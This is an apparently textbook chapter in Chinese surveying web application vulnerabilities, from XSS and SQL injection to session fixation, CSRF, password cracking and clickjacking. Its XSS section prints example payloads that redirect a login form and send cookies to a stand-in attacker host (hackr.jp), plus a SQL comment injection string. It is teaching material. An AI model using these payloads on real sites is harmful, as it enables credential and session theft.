多数情况下采用JavaScript在客户端验证数据。可是在客户端允许篡改数据或关闭JavaScript,不适合将JavaScript验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误,起到提高UI体验的作用。
Web应用端的输入值验证按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。
从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。
11.2.1 跨站脚本攻击
**跨站脚本攻击(Cross-Site Scripting,XSS)**是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。动态创建的HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。
- 利用虚假输入表单骗取用户个人信息。利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
跨站脚本攻击案例
在动态生成HTML处发生
下面以编辑个人信息页面为例讲解跨站脚本攻击。下方界面显示了用户输入的个人信息内容。
确认界面按原样显示在编辑界面输入的字符串。此处输入带有山口一郎这样的HTML标签的字符串。
此时的确认界面上,浏览器会把用户输入的解析成HTML标签,然后显示删除线。删除线显示出来并不会造成太大的不利后果,但如果换成使用script标签将会如何呢。
XSS是攻击者利用预先设置的陷阱触发的被动攻击
跨站脚本攻击属于被动攻击模式,因此攻击者会事先布置好用于攻击的陷阱。下图网站通过地址栏中URI的查询字段指定ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。
充分熟知此处漏洞特点的攻击者,于是就创建了下面这段嵌入恶意代码的URL。并隐藏植入事先准备好的欺诈邮件中或Web页面内,诱使用户去点击该URL。
http://example.jp/login?ID="
<script>var f=document =>.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method=>"get";</script>
浏览器打开该URI后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站(也就是hackr.jp),导致个人登录信息被窃取。
之后,ID及密码会传给该正规网站,而接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄露。
对用户Cookie的窃取攻击
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie信息。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序,即可访问到该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站(http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这样窃取到用户的Cookie信息了。
11.2.2 SQL注入攻击
会执行非法SQL的SQL注入攻击
SQL注入(SQL Injection)是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
Web应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏,就有可能执行被恶意注入(Injection)非法SQL语句。
SQL注入攻击有可能会造成以下等影响。非法查看或篡改数据库内的数据、规避认证、执行和数据库服务器业务关联的程序等
何为SQL
SQL是用来操作关系型数据库管理系统(Relational DataBase ManagementSystem,RDBMS)的数据库语言,可进行操作数据或定义数据等。RDBMS中有名的数据库有Oracle Database、Microsoft SQL Server、IBMDB2、MySQL和PostgreSQL等。这些数据库系统都可以把SQL作为数据库语言使用。
使用数据库的Web应用,通过某种方法将SQL语句传给RDBMS,再把RDBMS返回的结果灵活地使用在Web应用中。
SQL注入攻击案例
下面以某个购物网站的搜索功能为例,讲解SQL注入攻击。通过该功能,我们可以将某作者的名字作为搜索关键字,查找该作者的所有著作。
正常处理的操作示例
下图是将“上野宣”作为关键字的搜索结果。
URL的查询字段已指定q=上野宣,这个值由Web应用传入到SQL语句中,构成下方的SQL语句。
SELECT * FROM bookTb1 WHERE author = 'balabala' and flag = 1;
该SQL语句表示“从bookTbl表中,显示满足author=上野宣and flag=1(可售)所在行的数据”。数据库内的bookTbl表记录着该购物网站的所有书籍信息。通过SQL语句,将满足作者名(author)上野宣并且flag为1双重条件的条目取出,最后作为搜索结果显示出来。
SQL注入攻击的操作示例
把刚才指定查询字段的上野宣改写成“上野宣’–”。
构成的SQL语句就变成“从数据库的bookTbl表中,显示满足author=上野宣条件所在行的数据”,如下所示。
SELECT * FROM bookTb1 WHERE author = 'balabala' --' and flag = 1;
SQL语句中的–之后全视为注释。即,and flag=1这个条件被自动忽略了。
结果跟flag的设定值无关,只取出满足author=“上野宣”条件所在行的数据,这样连那些尚未出版的图书也一并显示出来了。
SQL注入攻击破坏SQL语句结构的案例
SQL注入是攻击者将SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。比如,在之前的攻击案例中,就会把author的字面值(程序中使用的常量)"上野宣’- -"的字符串赋值给$q。
上图中颜色标记的字符串最开始的单引号(’)表示会将author的字面值括起来,以到达第二个单引号后作为结束。因此,author的字面值就成了上野宣,而后面的–则不再属于author字面值,会被解析成其他的句法。
本案例中的问题仅仅是把未出版书籍的条目也一同显示出来了。但实际发生SQL注入攻击时,很有可能会导致用户信息或结算内容等其他数据表的非法浏览及篡改,从而使用户遭受不同程度的损失。
11.2.3 OS命令注入攻击
**OS命令注入攻击(OS Command Injection)**是指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。
可以从Web应用中通过Shell来调用操作系统命令。倘若调用Shell时存在疏漏,就可以执行插入的非法OS命令。OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。也就是说,通过OS注入攻击可执行OS上安装着的各种程序。
OS注入攻击案例
下面以咨询表单的发送功能为例,讲解OS注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。
11.2.4 HTTP首部注入攻击
HTTP首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。
向首部主体内添加内容的攻击称为HTTP响应截断攻击(HTTP Response Splitting Attack)。如下所示,Web应用有时会把从外部接收到的数值,赋给响应首部字段Location和Set-Cookie。
Location: http://www.example.com/a.cgi?1=12345
Set-Cookie: UID = 12345
*12345就是插入值
HTTP首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。HTTP首部注入攻击有可能会造成以下一些影响。设置任何Cookie信息、重定向至任意URL、显示任意的主体(HTTP响应截断攻击)
HTTP响应截断攻击
HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做HTTP响应截断攻击。
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的Web页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。
另外,滥用HTTP/1.1中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的Web网页。
11.2.5 邮件首部注入攻击
邮件首部注入(Mail Header Injection)是指Web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。
11.2.6 目录遍历攻击
目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击。
通过Web应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用.…/等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除Web服务器上的文件。
固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。
查询字段为了读取攻击者盯上的/etc/passwd文件,会从/www/log/目录开始定位相对路径。如果这份read.php脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。
11.2.7 远程文件包含漏洞
远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
这主要是PHP存在的安全漏洞,对PHP的include或require来说,这是一种可通过设定,指定外部服务器的URL作为文件名的功能。但是,该功能太危险,PHP5.2.0之后默认设定此功能无效。
固然存在输出值转义的问题,但更应控制对任意文件名的指定。
11.3 因设置或设计上的缺陷引发的安全漏洞
因设置或设计上的缺陷引发的安全漏洞是指,错误设置Web服务器,或是由设计上的一些问题引起的安全漏洞。
11.3.1 强制浏览
强制浏览(Forced Browsing)安全漏洞是指,从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览有可能会造成以下一些影响。
- 泄露顾客的个人信息等重要情报
- 泄露原本需要具有访问权限的用户才可查阅的信息内容
- 泄露未外连到外界的文件
对那些原本不愿公开的文件,为了保证安全会隐蔽其URL。可一旦知道了那些URL,也就意味着可浏览URL对应的文件。直接显示容易推测的文件名或文件目录索引时,通过某些方法可能会使URL产生泄露。
文件目录一览
http://www.example.com/log/,通过指定文件目录名称,即可在文件一览中看到显示的文件名。
容易被推测的文件名及目录名
http://www.example.com/entry/entry_081202.log,文件名称容易推测(按上面的情况,可推出下一个文件是entry_081203.log)
备份文件
http://www.example.com/cgi-bin/entry.cgi(原始文件)
http://www.example.com/cgi-bin/entry.cgi~(备份文件)
http://www.example.com/cgi-bin/entry.bak(备份文件)
由编辑软件自动生成的备份文件无执行权限,有可能直接以源代码形式显示
经认证才可显示的文件
直接通过URL访问原本必须经过认证才能在Web页面上使用的文件(HTML文件、图片、PDF等文档、CSS以及其他数据等)
强制浏览导致安全漏洞的案例
下面我们以会员制度的SNS日记功能为例,讲解强制浏览可能导致的安全漏洞。该日记功能保证了除具有访问权限的用户本人以外,其他人都不能访问日记。
该日记中包含的图像照片的源代码如下所示。
<img src="http://example.com/img/tRNqSUBdG7Da.jpg">
即使没有对这篇日记的访问权限,只要知道这图片的URL,通过直接指定URL的方式就能显示该图片。日记的功能和文本具有访问对象的控制,但不具备对图片访问对象的控制,从而产生了安全漏洞。
11.3.2 不正确的错误消息处理
不正确的错误消息处理(Error HandlingVulnerability)的安全漏洞是指,Web应用的错误信息内包含对攻击者有用的信息。与Web应用有关的主要错误信息如下所示。
- Web应用抛出的错误消息
- 数据库等系统抛出的错误消息
Web应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说,详细的错误消息有可能给他们下一次攻击以提示。
攻击者从这条消息中可读出数据库选用的是MySQL,甚至还看见了SQL语句的片段。这可能给攻击者进行SQL注入攻击以启发。
系统抛出的错误主要集中在以下几个方面。PHP或ASP等脚本错误、数据库或中间件的错误、Web服务器的错误。各系统应对详细的错误消息进行抑制设定,或使用自定义错误消息,以避免某些错误信息给攻击者以启发。
11.3.3 开放重定向
开放重定向(Open Redirect)是一种对指定的任意URL作重定向跳转的功能。而与此功能相关联的安全漏洞是指,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导至那个Web网站。
11.4 因会话管理疏忽引发的安全漏洞
会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取等后果。
11.4.1 会话劫持
会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。
具备认证功能的Web应用,使用会话ID的会话管理机制,作为管理认证状态的主流方式。会话ID中记录客户端的Cookie等信息,服务器端将会话ID与认证状态进行一对一匹配管理。
下面列举了几种攻击者可获得会话ID的途径。
- 通过非正规的生成方法推测会话ID
- 通过窃听或XSS攻击盗取会话ID
- 通过会话固定攻击(Session Fixation)强行获取会话ID
会话劫持攻击案例
下面我们以认证功能为例讲解会话劫持。这里的认证功能通过会话管理机制,会将成功认证的用户的会话ID(SID)保存在用户浏览器的Cookie中。
攻击者在得知该Web网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用JavaScript脚本调用document.cookie以窃取Cookie信息的陷阱,一旦用户踏入陷阱(访问了该脚本),攻击者就能获取含有会话ID的Cookie。攻击者拿到用户的会话ID后,往自己的浏览器的Cookie中设置该会话ID,即可伪装成会话ID遭窃的用户,访问Web网站了。
11.4.2 会话固定攻击
对以窃取目标会话ID为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。
会话固定攻击案例
下面我们以认证功能为例讲解会话固定攻击。这个Web网站的认证功能,会在认证前发布一个会话ID,若认证成功,就会在服务器内改变认证状态。
攻击者准备陷阱,先访问Web网站拿到会话ID(SID=f5d1278e8109)。此刻,会话ID在服务器上的记录仍是(未认证)状态。(步骤①~②)
攻击者设置好强制用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证。一旦用户触发陷阱并完成认证,会话ID(SID=f5d1278e8109)在服务器上的状态(用户A已认证)就会被记录下来。(步骤③)
攻击者估计用户差不多已触发陷阱后,再利用之前这个会话ID访问网站。由于该会话ID目前已是(用户A已认证)状态,于是攻击者作为用户A的身份顺利登录网站。(步骤④)
Session Adoption
Session Adoption是指PHP或ASP.NET能够接收处理未知会话ID的功能。恶意使用该功能便可跳过会话固定攻击的准备阶段,从Web网站获得发行的会话ID的步骤。即,攻击者可私自创建会话ID构成陷阱,中间件却会误以为该会话ID是未知会话ID而接受。
11.4.3 跨站点请求伪造
跨站点请求伪造(Cross-Site RequestForgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造有可能会造成以下等影响。
- 利用已通过认证的用户权限更新设定信息等
- 利用已通过认证的用户权限购买商品
- 利用已通过认证的用户权限在留言板上发表言论
跨站点请求伪造的攻击案例
下面以留言板功能为例,讲解跨站点请求伪造。该功能只允许已认证并登录的用户在留言板上发表内容。
在该留言板系统上,受害者用户A是已认证状态。它的浏览器中的Cookie持有已认证的会话ID(步骤①)。
攻击者设置好一旦用户访问,即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器执行完陷阱中的请求后,留言板上也就会留下那条评论(步骤②)。
触发陷阱之际,如果用户A尚未通过认证,则无法利用用户A的身份权限在留言板上发表内容。
11.5 其他安全漏洞
11.5.1 密码破解
密码破解攻击(Password Cracking)即算出密码,突破认证。攻击不仅限于Web应用,还包括其他的系统(如FTP或SSH等),本节将会讲解对具备认证功能的Web应用进行的密码破解。
密码破解有以下两种手段。
- 通过网络的密码试错:对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)除去突破认证的攻击手段,还有SQL注入攻击逃避认证,跨站脚本攻击窃取密码信息等方法。
- 通过网络进行密码试错:对Web应用提供的认证功能,通过网络尝试候选密码进行的一种攻击。主要有以下两种方式。穷举法和字典攻击
穷举法
穷举法(Brute-force Attack,又称暴力破解法)是指对所有密钥集合构成的密钥空间(Keyspace)进行穷举。即,用所有可行的候选密码对目标的密码系统试错,用以突破验证的一种攻击。
比如银行采用的个人识别码是由“4位数字”组成的密码,那么就要从0000~9999中的全部数字逐个进行尝试。这样一来,必定在候选的密码集合中存在一个正确的密码,可通过认证。
因为穷举法会尝试所有的候选密码,所以是一种必然能够破解密码的攻击。但是,当密钥空间很庞大时,解密可能需要花费数年,甚至千年的时间,因此从现实角度考量,攻击是失败的。
字典攻击
字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法。
还是举银行采用个人识别码是“4位数字”的密码的例子,考虑到用户使用自己的生日做密码的可能性较高,于是就可以把生日日期数值化,如将0101~1231保存成字典,进行尝试。
与穷举法相比,由于需要尝试的候选密码较少,意味着攻击耗费的时间比较短。但是,如果字典中没有正确的密码,那就无法破解成功。因此攻击的成败取决于字典的内容。
利用别处泄露的ID·密码进行攻击
字典攻击中有一种利用其他Web网站已泄露的ID及密码列表进行的攻击。很多用户习惯随意地在多个Web网站使用同一套ID及密码,因此攻击会有相当高的成功几率。
对已加密密码的破解
Web应用在保存密码时,一般不会直接以明文的方式保存,通过散列函数做散列处理或加salt的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据,如果想要真正使用这些密码,则必须先通过解码等手段,把加密处理的密码还原成明文形式。
从加密过的数据中导出明文通常有以下几种方法。
- 通过穷举法·字典攻击进行类推
- 彩虹表
- 拿到密钥
- 加密算法的漏洞
通过穷举法·字典攻击进行类推
针对密码使用散列函数进行加密处理的情况,采用和穷举法或字典攻击相同的手法,尝试调用相同的散列函数加密候选密码,然后把计算出的散列值与目标散列值匹配,类推出密码。
彩虹表
彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据库表,是一种通过事先制作庞大的彩虹表,可在穷举法·字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码。
为了提高攻击成功率,拥有一张海量数据的彩虹表就成了必不可少的条件。例如在Free RainbowTables网站上(http://www.freerainbowtables.com/en/tables2/)公布的一张由大小写字母及数字全排列的1~8位字符串对应的MD5散列值构成的彩虹表,其大小约为1050吉字节。
拿到密钥
使用共享密钥加密方式对密码数据进行加密处理的情况下,如果能通过某种手段拿到加密使用的密钥,也就可以对密码数据解密了。
加密算法的漏洞
考虑到加密算法本身可能存在的漏洞,利用该漏洞尝试解密也是一种可行的方法。但是要找到那些已广泛使用的加密算法的漏洞,又谈何容易,因此困难极大,不易成功。而Web应用开发者独立实现的加密算法,想必尚未经过充分的验证,还是很有可能存在漏洞的。
11.5.2 点击劫持
点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装(UIRedressing)。
已设置陷阱的Web页面,表面上内容并无不妥,但早已埋入想让用户点击的链接。当用户点击到透明的按钮时,实际上是点击了已指定透明属性元素的iframe页面。
点击劫持的攻击案例
下面以SNS网站的注销功能为例,讲解点击劫持攻击。利用该注销功能,注册登录的SNS用户只需点击注销按钮,就可以从SNS网站上注销自己的会员身份。
攻击者在预料用户会点击的Web页面上设下陷阱。上图中钓鱼游戏页面上的PLAY按钮就是这类陷阱的实例。在做过手脚的Web页面上,目标的SNS注销功能页面将作为透明层覆盖在游戏网页上。覆盖时,要保证PLAY按钮与注销按钮的页面所在位置保持一致。
由于SNS网站作为透明层覆盖目标网站,SNS网站上处于登录状态的用户访问这个钓鱼网站并点击页面上的PLAY按钮之后,等同于点击了SNS网站的注销按钮。
11.5.3 DoS攻击
DoS攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS攻击的对象不仅限于Web网站,还包括网络设备及服务器等。
主要有以下两种DoS攻击方式。
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态
- 通过攻击安全漏洞使服务停止
其中,集中利用访问请求的DoS攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止DoS攻击。
多台计算机发起的DoS攻击称为DDoS攻击(Distributed Denial of Service attack)。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。
11.5.4 后门程序
后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。
通常的后门程序分为以下3种类型。
- 开发阶段作为Debug调用的后门程序
- 开发者为了自身利益植入的后门程序
- 攻击者通过某种方法设置的后门程序
可通过监视进程和通信的状态发现被植入的后门程序。但设定在Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现。